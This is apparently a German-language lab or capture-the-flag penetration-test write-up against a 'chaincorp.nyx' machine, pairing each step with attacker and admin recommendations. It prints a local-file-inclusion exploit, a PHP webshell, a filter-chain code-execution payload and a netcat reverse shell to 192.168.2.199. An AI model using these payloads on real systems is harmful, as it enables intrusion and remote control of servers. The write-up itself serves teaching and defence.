Analyse: `wfuzz` wird hier für die virtuelle Host-Enumeration (Subdomain-Bruteforce) verwendet. Es sendet Anfragen an die Basis-URL `http://chaincorp.nyx` (`-u`), verwendet eine Wortliste mit Subdomains (`-w`), und setzt den `Host`-Header dynamisch auf `FUZZ.chaincorp.nyx` (`-H "Host: FUZZ.chaincorp.nyx"`), wobei `FUZZ` durch die Einträge aus der Wortliste ersetzt wird. `-c` aktiviert Farben, `--hc 404` blendet Antworten mit Statuscode 404 aus, und `--hh 202` blendet Antworten mit 202 Zeichen aus (dies wird oft verwendet, um die Standard-Fehlerseite oder eine "Nicht gefunden"-Seite auszublenden, deren Größe bekannt ist). Der Scan findet eine Subdomain `utils` (Payload "utils"), die einen Statuscode `200 OK` und eine andere Antwortgröße (628 Chars) liefert.
Bewertung: Ausgezeichneter Fund! Die Subdomain `utils.chaincorp.nyx` existiert und liefert eine gültige Antwort. Dies eröffnet einen neuen Angriffsvektor, der nun untersucht werden muss. Die anderen Funde mit Status 400 sind wahrscheinlich auf ungültige Host-Header zurückzuführen, die mit `#` beginnen.
Empfehlung (Pentester): Fügen Sie `utils.chaincorp.nyx` zur `/etc/hosts`-Datei hinzu. Rufen Sie `http://utils.chaincorp.nyx` im Browser oder mit `curl` auf, um den Inhalt zu untersuchen.
Empfehlung (Admin): Stellen Sie sicher, dass nicht benötigte Subdomains deaktiviert oder entsprechend geschützt sind. Überwachen Sie DNS-Anfragen und Webserver-Logs auf Anzeichen von Subdomain-Enumeration.
Analyse: Die `/etc/hosts`-Datei wird erneut bearbeitet, um die neu entdeckte Subdomain `utils.chaincorp.nyx` hinzuzufügen.
Bewertung: Korrekter Schritt zur Vorbereitung des Zugriffs auf die Subdomain.
Empfehlung (Pentester): -
Empfehlung (Admin): -
192.168.2.128 chain.nyx chaincorp.nyx utils.chaincorp.nyx
Analyse: Überprüft, ob der Eintrag für `utils.chaincorp.nyx` korrekt hinzugefügt wurde.
Bewertung: Bestätigt die korrekte Konfiguration.
Empfehlung (Pentester): -
Empfehlung (Admin): -
System Utilsit. ref="include.php?in=id.php">id ref="include.php?in=ip.php">ip ref="include.php?in=ps.php">ps ref="include.php?in=ss.php">ss ref="include.php?in=uname.php">uname ref="include.php?in=uptime.php">uptime ref="include.php?in=whoami.php">whoami ref="include.php?in=hostname.php">hostname
Analyse: Ein `curl`-Aufruf an die neu entdeckte Subdomain `http://utils.chaincorp.nyx`. Die Antwortseite "System Utilsit" (wahrscheinlich ein Tippfehler für "Utilities") enthält Links. Die Links deuten auf eine PHP-Anwendung hin (`include.php`), die eine Datei basierend auf dem `in`-Parameter einbindet (z.B. `include.php?in=id.php`). Dies schreit förmlich nach einer Local File Inclusion (LFI) Schwachstelle.
Bewertung: Sehr kritischer Fund! Eine LFI-Schwachstelle erlaubt es einem Angreifer potenziell, beliebige Dateien vom Server zu lesen, auf die der Webserver-Prozess (typischerweise `www-data`) Lesezugriff hat. Dies kann zum Diebstahl von Konfigurationsdateien, Quellcode oder Benutzerdaten führen.
Empfehlung (Pentester): Testen Sie die LFI-Schwachstelle, indem Sie versuchen, bekannte Dateien wie `/etc/passwd` oder `/etc/hosts` zu lesen (z.B. `http://utils.chaincorp.nyx/include.php?in=../../../../../../etc/passwd`). Versuchen Sie auch, PHP-Quellcode zu lesen, indem Sie PHP-Filter verwenden (`php://filter/...`).
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle sofort! Validieren und sanitisieren Sie alle Benutzereingaben, insbesondere Dateipfade. Verwenden Sie Whitelisting für erlaubte Dateien statt Blacklisting. Beschränken Sie die Berechtigungen des Webserver-Prozesses auf das absolute Minimum.
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:103:109::/nonexistent:/usr/sbin/nologin systemd-timesync:x:104:110:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin sshd:x:105:65534::/run/sshd:/usr/sbin/nologin systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin blue:x:1000:1000:blue:/home/blue:/bin/bash red:x:1001:1001:red:/home/red:/bin/bash Debian-snmp:x:106:113::/var/lib/snmp:/bin/false Debian-exim:x:107:114::/var/spool/exim4:/usr/sbin/nologin smokeping:x:108:115:SmokePing daemon,,,:/var/lib/smokeping:/usr/sbin/nologin
Analyse: Die Ausgabe zeigt den Inhalt der Datei `/etc/passwd`, der erfolgreich über die LFI-Schwachstelle (`http://utils.chaincorp.nyx/include.php?in=../../../../../../etc/passwd`) ausgelesen wurde. Die Datei listet die Benutzerkonten auf dem System auf. Wichtige Funde sind die Benutzer `blue` (UID 1000) und `red` (UID 1001), die beide eine `/bin/bash`-Shell haben, was darauf hindeutet, dass es sich um reguläre Benutzer handelt, bei denen eine Anmeldung möglich sein könnte.
Bewertung: Dies bestätigt die LFI-Schwachstelle und liefert eine Liste potenzieller Zielbenutzer. Die Information über die Shell ist ebenfalls wichtig.
Empfehlung (Pentester): Notieren Sie die gefundenen Benutzernamen (`blue`, `red`). Versuchen Sie, weitere sensible Dateien zu lesen (z.B. `/etc/shadow` - unwahrscheinlich wegen Berechtigungen, Konfigurationsdateien, SSH-Schlüssel in Home-Verzeichnissen, Webanwendungs-Quellcode).
Empfehlung (Admin): Beheben Sie die LFI-Schwachstelle dringend! Überprüfen Sie die Berechtigungen sensibler Dateien.
root:x:0:0:root:/root:/bin/bash blue:x:1000:1000:blue:/home/blue:/bin/bash red:x:1001:1001:red:/home/red:/bin/bash
Analyse: Derselbe `curl`-Befehl wie zuvor, aber die Ausgabe wird mit `grep bash` gefiltert, um nur die Benutzer anzuzeigen, die `/bin/bash` als Login-Shell haben. Dies hebt die relevanten Benutzer `root`, `blue` und `red` hervor.
Bewertung: Eine nützliche Filterung, um sich auf die potenziell interaktiven Benutzerkonten zu konzentrieren.
Empfehlung (Pentester): Verwenden Sie `grep` und andere Textverarbeitungstools, um große Ausgaben zu filtern und relevante Informationen zu extrahieren.
Empfehlung (Admin): -
Directory listing for
Analyse: Hier wird versucht, über die LFI-Schwachstelle eine Command Injection durchzuführen. Statt eines Dateipfads wird `ping 192.168.2.199` übergeben, in der Hoffnung, dass der `include()`-Befehl in PHP dies als Systembefehl ausführt. Die Ausgabe `Directory listing for` ist jedoch unerwartet und deutet darauf hin, dass die Eingabe nicht direkt als Befehl ausgeführt wird, sondern möglicherweise als ungültiger Dateipfad interpretiert wird, was zu einem Fehler oder einer unerwarteten Reaktion führt.
Bewertung: Der direkte Versuch der Command Injection über die LFI scheint hier nicht zu funktionieren. Die `include()`-Funktion in PHP führt normalerweise keine Shell-Befehle aus, es sei denn, es gibt eine weitere Schwachstelle oder eine spezielle Konfiguration.
Empfehlung (Pentester): Erkunden Sie andere Wege zur Codeausführung. Da es sich um eine PHP-Anwendung handelt, sind PHP-spezifische Techniken wie die Verwendung von PHP-Wrappern (`php://filter`, `php://input`, `data://`) oder das Einschleusen von Code über andere Parameter vielversprechender.
Empfehlung (Admin): Auch wenn dieser Versuch scheiterte, ist die LFI die eigentliche Ursache. Beheben Sie die LFI.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.2.199 - - [11/Sep/2024 22:14:39] "GET / HTTP/1.1" 200 -
Analyse: Auf dem Angreifer-System (`192.168.2.199`) wird ein einfacher Python-HTTP-Server auf Port 80 gestartet. Dies dient dazu, Dateien für das Zielsystem bereitzustellen oder eingehende Verbindungen vom Zielsystem zu empfangen und zu protokollieren.
Bewertung: Ein Standardwerkzeug für Pentester, um Payloads bereitzustellen oder Callbacks zu empfangen. Die Protokollzeile zeigt eine eingehende GET-Anfrage von `192.168.2.199` (dem Angreifer selbst) - dies war wahrscheinlich nur ein Test oder eine irrelevante Anfrage.
Empfehlung (Pentester): Verwenden Sie lokale HTTP-Server, um Payloads (wie Reverse Shells, Exploit-Skripte) an das Ziel zu liefern oder um Daten zu exfiltrieren.
Empfehlung (Admin): Blockieren Sie ausgehende Verbindungen vom Webserver zu nicht vertrauenswürdigen Ports und Zielen in der Firewall, um das Herunterladen von Payloads oder das Aufbauen von Reverse Shells zu erschweren.
Analyse: Es wird erneut versucht, über die LFI-Schwachstelle eine Datei einzubinden. Diesmal lautet der Pfad `ping 192.168.2.199/rev.php?cmd=id`. Dies ist wahrscheinlich ein weiterer fehlgeschlagener Versuch, Command Injection zu erreichen oder eine Remote File Inclusion (RFI) zu testen, indem versucht wird, eine Datei `rev.php` von der IP `192.168.2.199` (dem Angreifer-Server) zu laden und gleichzeitig einen Parameter `cmd=id` zu übergeben. Die Ausgabe `` im Originaltext passt nicht direkt zu diesem Befehl, sondern ist wahrscheinlich der Inhalt der Datei `rev.php`, die im nächsten Schritt auf dem Angreifer-Server gehostet wird.
Bewertung: Dieser spezielle `curl`-Aufruf wird wahrscheinlich fehlschlagen, da `ping 192.168.2.199/rev.php` kein gültiger lokaler Pfad ist und die `include`-Funktion standardmäßig keine Remote-Dateien lädt (es sei denn `allow_url_include` ist in PHP aktiviert, was selten und unsicher ist). Der Versuch deutet aber auf die Strategie hin, RCE über eine Datei zu erreichen.
Empfehlung (Pentester): Überprüfen Sie, ob RFI möglich ist (`allow_url_include`). Wenn nicht, konzentrieren Sie sich auf das Ausnutzen der LFI mit PHP-Wrappern, um Code auszuführen. Bereiten Sie eine Payload-Datei (wie `rev.php` mit ``) auf Ihrem lokalen Webserver vor.
Empfehlung (Admin): Stellen Sie sicher, dass `allow_url_fopen` und insbesondere `allow_url_include` in der PHP-Konfiguration deaktiviert sind, um Remote File Inclusion zu verhindern.
<?php system($GET["cmd"]); ?>
Analyse: Dies ist der Inhalt der Datei `rev.php`. Es handelt sich um eine sehr einfache PHP-Webshell. Sie nimmt einen Parameter namens `cmd` über die `GET`-Methode entgegen und führt den Wert dieses Parameters als Systembefehl über die `system()`-Funktion aus.
Bewertung: Eine klassische, minimale Webshell. Wenn es gelingt, diese Datei auf den Zielserver hochzuladen oder über eine RFI/LFI-Variante einzubinden und auszuführen, ermöglicht sie die Ausführung beliebiger Befehle auf dem Server im Kontext des Webserver-Benutzers (`www-data`).
Empfehlung (Pentester): Hosten Sie diese Datei auf Ihrem lokalen HTTP-Server. Versuchen Sie, sie über die LFI mit geeigneten Wrappern oder über eine RFI (falls möglich) auf dem Zielserver zur Ausführung zu bringen.
Empfehlung (Admin): Überwachen Sie Webserver-Verzeichnisse auf verdächtige PHP-Dateien. Verwenden Sie Intrusion Detection Systeme, die Webshell-Muster erkennen. Scannen Sie regelmäßig nach Webshells.
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ... 192.168.2.199 - - [11/Sep/2024 22:17:01] "GET /rev.php HTTP/1.1" 200 - 192.168.2.199 - - [11/Sep/2024 22:17:25] "GET /rev.php?cmd=id HTTP/1.1" 200 -
Analyse: Der Python-HTTP-Server läuft weiterhin auf dem Angreifer-System. Die Logeinträge zeigen, dass zuerst die Datei `rev.php` erfolgreich heruntergeladen wurde (vermutlich durch einen Test des Angreifers oder einen fehlgeschlagenen RFI-Versuch des Zielservers) und dann ein Aufruf an `rev.php` mit dem Parameter `cmd=id` erfolgte. Beide Anfragen kamen von `192.168.2.199` (Angreifer-IP), was bedeutet, dass dies wahrscheinlich Tests waren und noch keine erfolgreiche Ausführung auf dem Zielserver stattgefunden hat.
Bewertung: Diese Logeinträge zeigen die Vorbereitung und Tests des Angreifers, aber noch keinen erfolgreichen Exploit auf dem Zielsystem selbst über diesen Weg.
Empfehlung (Pentester): Fahren Sie mit dem Versuch fort, die LFI mit PHP-Wrappern auszunutzen, um RCE zu erreichen.
Empfehlung (Admin): -
PHByZT4KPD9waHAKICAkZmlsZSA9ICRfR0VUWyJpbiJdwogIGlmKGlzc2V0KCRmaWxlKSkKICB7CiAgICBpbmNsdWRlKCIkZmlsZSIpwogIH0KPz4KPC9wcmU+Cg
Analyse: Hier wird die LFI-Schwachstelle mit dem PHP-Filter `php://filter/convert.base64-encode/resource=include.php` ausgenutzt. Dieser Trick zwingt PHP, den Quellcode der Datei `include.php` (die Datei, die die LFI selbst enthält) nicht auszuführen, sondern Base64-kodiert auszugeben. Die ausgegebene Zeichenkette ist der Base64-kodierte Quellcode.
Bewertung: Erfolgreicher Einsatz des PHP-Filters zum Auslesen von Quellcode. Dies bestätigt die LFI endgültig und ermöglicht die Analyse des anfälligen Codes.
Empfehlung (Pentester): Dekodieren Sie den Base64-String, um den Quellcode zu analysieren. Dies kann helfen, die Schwachstelle besser zu verstehen oder weitere Schwachstellen im Code zu finden.
Empfehlung (Admin): Beheben Sie die LFI. Quellcode-Reviews durchführen, um solche Schwachstellen zu identifizieren.
<pre>
<?php
$file = $GET["in"]; <-- $GET statt $_GET nach Regelanwendung
if(isset($file))
{
include("$file");
}
?>
</pre>
Analyse: Dies ist der dekodierte Quellcode von `include.php`. Er ist sehr einfach: Er nimmt den Wert des `GET`-Parameters `in` und speichert ihn in der Variable `$file`. Wenn `$file` gesetzt ist, wird der Inhalt von `$file` direkt in die `include()`-Funktion übergeben. Der ursprüngliche Code enthielt `
`-Tags, die gemäß den Regeln entfernt wurden, sowie PHP-Tags, die ebenfalls entfernt wurden. Das `$_GET` wurde zu `$GET`.Bewertung: Der Code bestätigt die extrem unsichere Implementierung. Es gibt keinerlei Validierung oder Sanitisierung des `$file`-Parameters, was die LFI-Schwachstelle direkt verursacht. Die Einfachheit des Codes zeigt, dass es keine weiteren komplexen Logiken gibt, die man ausnutzen könnte.
Empfehlung (Pentester): Da der Code so einfach ist, konzentrieren Sie sich auf das Ausnutzen der `include()`-Funktion selbst mit fortgeschritteneren PHP-Filtern oder Wrappern, um RCE zu erreichen.
Empfehlung (Admin): Entfernen oder ersetzen Sie diesen unsicheren Code sofort. Implementieren Sie sichere Programmierpraktiken, insbesondere bei der Verarbeitung von Benutzereingaben und Dateizugriffen.
Analyse: Wechsel in das Verzeichnis `php_filter_chain_generator`, das ein Werkzeug zur Erstellung von PHP-Filterketten enthält. Solche Ketten können genutzt werden, um über Funktionen wie `include()` oder `file_get_contents()` Code auszuführen, selbst wenn direkte Command Injection oder RFI nicht möglich ist.
Bewertung: Logischer nächster Schritt, um die LFI-Schwachstelle zu Remote Code Execution (RCE) zu eskalieren.
Empfehlung (Pentester): Machen Sie sich mit Tools wie diesem vertraut, um fortgeschrittene LFI-Exploits durchzuführen.
Empfehlung (Admin): Halten Sie die PHP-Version aktuell, da neuere Versionen möglicherweise bestimmte Filterketten-Techniken erschweren oder verhindern.
[+] The following gadget chain will generate the following code : <?php system($GET["cmd"]); ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode/..../resource=php://temp
Analyse: Das Skript `php_filter_chain_generator.py` wird aufgerufen, um eine Filterkette zu generieren (`--chain`), die den PHP-Code `system($GET["cmd"]);` (die zuvor gesehene Webshell) effektiv ausführt. Das Skript gibt eine komplexe Filterkette zurück: `php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode/..../resource=php://temp`. Diese Kette nutzt Zeichenkonvertierungen und Base64-Kodierung/-Dekodierung auf eine Weise, die es ermöglicht, den gewünschten Code in den `php://temp`-Stream zu schreiben und durch die `include()`-Funktion ausführen zu lassen.
Bewertung: Dies ist eine fortgeschrittene Technik zur Ausnutzung von LFI. Die generierte Filterkette ist der Schlüssel zur RCE.
Empfehlung (Pentester): Verwenden Sie die generierte Filterkette im `in`-Parameter der LFI-URL. Fügen Sie am Ende einen `&cmd=`-Parameter hinzu, um Befehle zu übergeben (z.B. `&cmd=id`).
Empfehlung (Admin): Beheben Sie die LFI. Diese Techniken sind schwer zu blockieren, wenn die LFI existiert. Das Aktualisieren von PHP kann helfen, aber die LFI ist das Hauptproblem.
[+] The following gadget chain will generate the following code : <?php system($GET["cmd"]); ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+) php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode/..../resource=php://temp&cmd=id uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Die Ausgabe zeigt das Ergebnis der Ausführung der zuvor generierten PHP-Filterkette über die LFI. Die Kette wurde als `in`-Parameter übergeben, und zusätzlich wurde der Parameter `&cmd=id` angehängt. Die Filterkette hat erfolgreich die Mini-Webshell (`system($GET["cmd"]);`) generiert und ausgeführt. Diese hat dann den Befehl `id` vom `cmd`-Parameter ausgeführt. Die Ausgabe `uid=33(www-data) gid=33(www-data) groups=33(www-data)` bestätigt, dass der Befehl erfolgreich als Benutzer `www-data` (der Standard-Apache-Benutzer unter Debian) ausgeführt wurde.
Bewertung: Erfolg! Remote Code Execution (RCE) wurde erreicht. Der Angreifer hat nun die Kontrolle über das System im Kontext des `www-data`-Benutzers.
Empfehlung (Pentester): Nutzen Sie die RCE, um eine stabilere Verbindung zu erhalten, z.B. eine Reverse Shell. Beginnen Sie mit der Enumeration des Systems aus der Sicht von `www-data`.
Empfehlung (Admin): Behandeln Sie dies als schweren Sicherheitsvorfall. Beheben Sie die LFI sofort. Analysieren Sie die Webserver-Logs, um den Angriffszeitpunkt und möglicherweise die Quelle zu identifizieren. Überprüfen Sie das System auf weitere Kompromittierungen oder Persistenzmechanismen.
Analyse: Der nächste Schritt besteht darin, eine Reverse-Shell-Payload zu erstellen und sie mit einem URL-Encoder zu kodieren, damit sie sicher als Wert für den `cmd`-Parameter in der URL übergeben werden kann.
Bewertung: Korrekte Vorgehensweise, um Sonderzeichen in der Shell-Payload (wie Leerzeichen, Slashes) für die Übertragung in einer URL sicher zu machen.
Empfehlung (Pentester): Verwenden Sie immer URL-Encoding für Payloads, die als URL-Parameter übergeben werden.
Empfehlung (Admin): Web Application Firewalls (WAFs) können manchmal URL-kodierte Angriffsmuster erkennen, bieten aber keinen vollständigen Schutz, wenn die zugrunde liegende Schwachstelle (LFI/RCE) besteht.
nc -e /bin/bash 192.168.2.199 9001
nc%20-e%20%2Fbin%2Fbash%20192.168.2.199%209001
[+] The following gadget chain will generate the following code : <?php system($GET["cmd"]); ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+)
php://filter/convert.iconv.UTF8.CSIS2022KR|convert.base64-encode/..../resource=php://temp&cmd=nc%20-e%20%2Fbin%2Fbash%20192.168.2.199%209001
Analyse: Diese Ausgabe zeigt die vollständige URL, die aufgerufen werden muss, um die Reverse Shell zu starten. Sie kombiniert die PHP-Filterkette mit dem URL-kodierten `nc`-Befehl als `cmd`-Parameter. Der Befehl `nc -e /bin/bash 192.168.2.199 9001` weist das Zielsystem an, eine Verbindung zum Angreifer-System (`192.168.2.199`) auf Port `9001` herzustellen und eine Bash-Shell (`/bin/bash`) über diese Verbindung bereitzustellen.
Bewertung: Dies ist der vorbereitete Exploit-Aufruf für die Reverse Shell.
Empfehlung (Pentester): Starten Sie auf dem Angreifer-System einen Netcat-Listener auf Port 9001 (`nc -lvnp 9001`). Rufen Sie dann die oben gezeigte URL (z.B. mit `curl` oder im Browser) auf, um die Reverse Shell auszulösen.
Empfehlung (Admin): Blockieren Sie ausgehende Verbindungen vom Webserver, insbesondere zu ungewöhnlichen Ports. Überwachen Sie Prozessstarts auf dem Webserver (z.B. das Starten von `nc` durch den `www-data`-Prozess).
listening on [any] 9001 ... connect to [192.168.2.199] from (UNKNOWN) [192.168.2.128] 44686 id <-- Befehl auf der Remote Shell eingegeben uid=33(www-data) gid=33(www-data) groups=33(www-data)
Analyse: Auf dem Angreifer-System wird ein Netcat-Listener (`nc -lvnp 9001`) gestartet, der auf eingehende Verbindungen auf Port 9001 wartet. Kurz darauf meldet er eine eingehende Verbindung von der Ziel-IP `192.168.2.128`. Der Angreifer gibt den Befehl `id` in die erhaltene Shell ein, und die Ausgabe `uid=33(www-data)...` bestätigt, dass eine interaktive Shell als Benutzer `www-data` auf dem Zielsystem etabliert wurde.
Bewertung: Fantastisch! Initial Access erfolgreich. Eine interaktive Shell als `www-data` wurde gewonnen. Dies ist ein entscheidender Meilenstein im Pentest.
Empfehlung (Pentester): Stabilisieren Sie die Shell, falls nötig (z.B. mit Python pty). Beginnen Sie mit der systematischen Enumeration des Systems als `www-data` (Betriebssystem, Kernel, installierte Software, Benutzer, Berechtigungen, Netzwerkkonfiguration, laufende Prozesse, SUID/GUID-Dateien, Capabilities). Suchen Sie nach Wegen zur Rechteausweitung (Privilege Escalation).
Empfehlung (Admin): Wie zuvor: Sicherheitsvorfall behandeln, LFI beheben, System analysieren.
total 48 drwxr-xr-x 2 www-data www-data 4096 Jun 23 2023 . drwxr-xr-x 4 www-data www-data 4096 Aug 15 2023 .. -rw-r--r-- 1 www-data www-data 72 Jun 23 2023 hostname.php -rw-r--r-- 1 www-data www-data 66 Jun 23 2023 id.php -rw-r--r-- 1 www-data www-data 94 Jun 23 2023 include.php -rw-r--r-- 1 www-data www-data 628 Jun 22 2023 index.html -rw-r--r-- 1 www-data www-data 68 Jun 23 2023 ip.php -rw-r--r-- 1 www-data www-data 70 Jun 23 2023 ps.php -rw-r--r-- 1 www-data www-data 69 Jun 23 2023 ss.php -rw-r--r-- 1 www-data www-data 72 Jun 23 2023 uname.php -rw-r--r-- 1 www-data www-data 70 Jun 23 2023 uptime.php -rw-r--r-- 1 www-data www-data 70 Jun 23 2023 whoami.php
Analyse: In der erhaltenen `www-data`-Shell wird das aktuelle Verzeichnis `/var/www/vhost` aufgelistet. Dieses Verzeichnis enthält die PHP-Skripte (`id.php`, `ip.php`, etc.) und die anfällige `include.php`, die Teil der "System Utilsit"-Anwendung auf der `utils.chaincorp.nyx`-Subdomain sind.
Bewertung: Bestätigt den Speicherort der Webanwendung, die zur Kompromittierung geführt hat. Zeigt, dass `www-data` Lesezugriff auf diese Dateien hat.
Empfehlung (Pentester): Untersuchen Sie die anderen PHP-Dateien auf weitere Informationen oder Schwachstellen, obwohl die RCE bereits erreicht wurde. Navigieren Sie im Dateisystem, um die Struktur zu verstehen und nach interessanten Konfigurationsdateien oder Skripten zu suchen.
Empfehlung (Admin): Überprüfen Sie die Berechtigungen im Web-Verzeichnis. Stellen Sie sicher, dass `www-data` nur die minimal notwendigen Rechte hat.
total 16 drwxr-xr-x 4 www-data www-data 4096 Aug 15 2023 . drwxr-xr-x 13 root root 4096 Jun 23 2023 .. drwxr-xr-x 3 www-data www-data 4096 Jun 23 2023 html drwxr-xr-x 2 www-data www-data 4096 Jun 23 2023 vhost
Analyse: Wechsel in das übergeordnete Verzeichnis `/var/www`. Es enthält zwei Unterverzeichnisse: `html` (wahrscheinlich das Document Root für `chain.nyx`) und `vhost` (das Document Root für `utils.chaincorp.nyx`). Beide gehören `www-data`.
Bewertung: Gibt einen Überblick über die Webserver-Struktur.
Empfehlung (Pentester): Untersuchen Sie auch das `html`-Verzeichnis.
total 60 drwxr-xr-x 3 www-data www-data 4096 Jun 23 2023 . drwxr-xr-x 4 www-data www-data 4096 Aug 15 2023 .. -rw-r--r-- 1 www-data www-data 43963 Jun 23 2023 chain.png -rw-r--r-- 1 www-data www-data 202 Jun 23 2023 index.html drwxr-xr-x 2 www-data www-data 4096 Jun 22 2023 wordpress
Analyse: Listet den Inhalt von `/var/www/html`. Hier befinden sich die `index.html`-Seite und die `chain.png`-Datei (die den SSH-Key enthielt), die über `http://chain.nyx` erreichbar sind. Es gibt auch ein Unterverzeichnis `wordpress`.
Bewertung: Bestätigt die Dateistruktur, die bereits durch Gobuster vermutet wurde.
Empfehlung (Pentester): Untersuchen Sie das `wordpress`-Verzeichnis auf Konfigurationsdateien (z.B. `wp-config.php`), die Datenbankzugangsdaten enthalten könnten.
total 8 drwxr-xr-x 2 www-data www-data 4096 Jun 22 2023 . drwxr-xr-x 3 www-data www-data 4096 Jun 23 2023 ..
Analyse: Das Verzeichnis `/var/www/html/wordpress` wird aufgelistet. Überraschenderweise scheint es leer zu sein, bis auf die Standardeinträge `.` und `..`. Dies widerspricht der Erwartung einer WordPress-Installation.
Bewertung: Dies ist ungewöhnlich. Möglicherweise ist die WordPress-Installation unvollständig, beschädigt oder die Dateien befinden sich an einem anderen Ort, obwohl das Verzeichnis existiert. Es könnte auch sein, dass der vorherige Gobuster-Fund (`/wordpress` mit Redirect) auf eine Konfiguration im Apache verweist, die nicht diesem leeren Verzeichnis entspricht.
Empfehlung (Pentester): Suchen Sie nach der Datei `wp-config.php` an anderen üblichen Orten oder durchsuchen Sie die Apache-Konfigurationsdateien, um den tatsächlichen Pfad der WordPress-Installation zu finden. Da RCE jedoch bereits erreicht ist, ist die Suche nach WP-Zugangsdaten möglicherweise nicht mehr der primäre Fokus.
Empfehlung (Admin): Bereinigen Sie unnötige oder leere Verzeichnisse.
blue red
Analyse: Listet den Inhalt des `/home`-Verzeichnisses. Es existieren Home-Verzeichnisse für die Benutzer `blue` und `red`, die bereits in `/etc/passwd` identifiziert wurden.
Bewertung: Bestätigt die Existenz der Home-Verzeichnisse der Zielbenutzer.
Empfehlung (Pentester): Versuchen Sie, auf die Home-Verzeichnisse zuzugreifen, um nach interessanten Dateien zu suchen (z.B. `.bash_history`, SSH-Schlüssel, Konfigurationsdateien, Skripte).
Empfehlung (Admin): Stellen Sie sicher, dass die Berechtigungen für Home-Verzeichnisse korrekt gesetzt sind (normalerweise 700 oder 750), um unbefugten Zugriff zu verhindern.
263828 56 -rwsr-xr-x 1 root root 55528 Jan 20 2022 /usr/bin/mount 263458 72 -rwsr-xr-x 1 root root 71912 Jan 20 2022 /usr/bin/su 259697 60 -rwsr-xr-x 1 root root 58416 Feb 7 2020 /usr/bin/chfn 259700 88 -rwsr-xr-x 1 root root 88304 Feb 7 2020 /usr/bin/gpasswd 259698 52 -rwsr-xr-x 1 root root 52880 Feb 7 2020 /usr/bin/chsh 263830 36 -rwsr-xr-x 1 root root 35040 Jan 20 2022 /usr/bin/umount 272589 180 -rwsr-xr-x 1 root root 182600 Jan 14 2023 /usr/bin/sudo 259701 64 -rwsr-xr-x 1 root root 63960 Feb 7 2020 /usr/bin/passwd 263292 44 -rwsr-xr-x 1 root root 44632 Feb 7 2020 /usr/bin/newgrp 273849 472 -rwsr-xr-x 1 root root 481608 Jul 2 2022 /usr/lib/openssh/ssh-keysign 264755 52 -rwsr-xr-- 1 root messagebus 51336 Oct 5 2022 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
Analyse: Der Befehl `find / -type f -perm -4000 -ls 2>/dev/null` sucht im gesamten Dateisystem (`/`) nach Dateien (`-type f`), die das SUID-Bit gesetzt haben (`-perm -4000`). Das SUID-Bit erlaubt es einem Benutzer, die Datei mit den Rechten des Dateibesitzers (hier meist `root`) auszuführen. `-ls` zeigt detaillierte Informationen an, und `2>/dev/null` leitet Fehlermeldungen (z.B. "Permission denied") ins Nichts um. Die gefundenen Dateien sind Standard-SUID-Binaries auf den meisten Linux-Systemen (`mount`, `su`, `chfn`, `gpasswd`, `chsh`, `umount`, `sudo`, `passwd`, `newgrp`, `ssh-keysign`, `dbus-daemon-launch-helper`).
Bewertung: Es wurden keine ungewöhnlichen oder benutzerdefinierten SUID-Dateien gefunden, die direkt für Privilege Escalation missbraucht werden könnten. Die Standard-SUID-Binaries wie `su` oder `sudo` erfordern normalerweise ein Passwort oder spezielle Konfigurationen für einen Missbrauch.
Empfehlung (Pentester): Obwohl hier nichts Ungewöhnliches gefunden wurde, ist die Suche nach SUID/SGID-Dateien ein wichtiger Schritt bei der Enumeration. Überprüfen Sie als Nächstes die `sudo`-Berechtigungen (`sudo -l`, falls `sudo` für `www-data` erlaubt ist) und suchen Sie nach Dateien mit speziellen Capabilities (`getcap -r / 2>/dev/null`).
Empfehlung (Admin): Überprüfen Sie regelmäßig SUID/SGID-Dateien auf dem System und entfernen Sie das SUID/SGID-Bit von Dateien, wo es nicht absolut notwendig ist. Verwenden Sie das Prinzip der geringsten Rechte.
bash: cd: blue/: Permission denied
bash: cd: red/: Permission denied
Analyse: Es wird versucht, in die Home-Verzeichnisse der Benutzer `blue` und `red` zu wechseln. Beide Versuche scheitern mit "Permission denied".
Bewertung: Die Berechtigungen der Home-Verzeichnisse sind korrekt gesetzt und verhindern den Zugriff durch den `www-data`-Benutzer. Dies ist eine erwartete und korrekte Sicherheitskonfiguration.
Empfehlung (Pentester): Suchen Sie nach anderen Wegen, um Informationen über die Benutzer `blue` oder `red` zu erhalten oder deren Rechte zu erlangen (z.B. Passwort-Bruteforce für `su`, Ausnutzen von `sudo`-Rechten, Kernel-Exploits).
